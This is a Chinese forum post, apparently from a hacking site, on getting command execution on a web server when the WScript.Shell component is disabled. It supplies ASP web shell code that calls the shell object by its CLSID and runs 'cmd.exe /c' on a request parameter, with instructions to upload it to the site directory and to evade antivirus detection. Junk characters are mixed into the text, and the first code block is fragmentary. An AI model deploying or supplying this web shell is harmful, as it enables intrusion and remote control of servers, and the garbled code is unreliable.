没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  ( ?' S6 l4 z$ U8 [* y6 o) [8 o
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  
• 把下面代码复制：
  
• <%
  
• end if
  
• response.write(”")
  * ]* |. h2 ~' O3 a
• On Error Resume
  ( ^% g( e+ @: k2 e5 L
• Next
  
• response.write oScriptlhn.exec(”cmd.exe /c” &
  1 D" U& u. a( A& F3 ^
• request(”c”)).stdout.readall
  
• response.write(”")
  # H% C: N4 P3 C) Z  N2 Y4 e
• response.write(”")
  
• response.write(”
  # W' G4 X( s8 Z
• “)
  
• response.write(”")
  
• %>
  
• 保存为一个asp文件，然后传到网站目录上去
  
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  
• 我用此成功运行过cacls命令。
  
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  - |/ t( j8 }# ]4 w  {, @9 o
• <object runat=server id=oScriptlhn scope=page
  
• 
  4 H9 J! K8 w( I4 i- j- Z
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  
• <%if err then%>
    {1 U7 {3 e/ D( t4 L8 M
• <object runat=server id=oScriptlhn scope=page
  ' i7 Q$ ]! H; ?/ Y( E7 H
• 
  
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  " m3 }+ h8 W: H1 v; h
• <%
  3 F' H7 Y+ x0 Z) A
• end if
  2 A8 s/ t. }0 [; w; B
• response.write(”<textarea readonly cols=80
  
• 
  & T7 |% k' b( M! Z  d: D1 ^1 B( n9 F
• rows=20>”)
  & Y) ~$ p# f  U) t1 m
• On Error Resume Next
  
• response.write
    ]4 p# {. W' F. q4 I
• 
  
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  4 X6 j  P# J+ A! x: B% q+ y
• response.write(”</textarea>”)
  2 `: d/ B$ H( C- e3 D
• response.write(”<form
  * V* |, x4 M3 @
• 
  / ]  A2 t* A# M+ C2 k! z' o- k: L, E
• method=’post’>”)
  / V3 ]4 j9 h) L+ x; |
• response.write(”<input type=text name=’c'
  . n# U) W! S$ D+ @& W
• 
  & I5 M7 w. |% u( X
• size=60><br>”)
  6 s" |! E  |- u, O" `  J% n7 q5 |  ?9 J
• response.write(”<input type=submit
  ) Z  v8 e2 y) W. {! a; s
• 
  4 z5 p  o: d" \9 U- F/ `
• value=’执行’></form>”)
  ; D0 J8 e, b; }6 F; [! {( H: k
• %>
  : z, K7 o; B+ C4 _# H9 h! m* u, x
• 保存为ASP，此代码可能被杀，请注意免杀。
  
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  

复制代码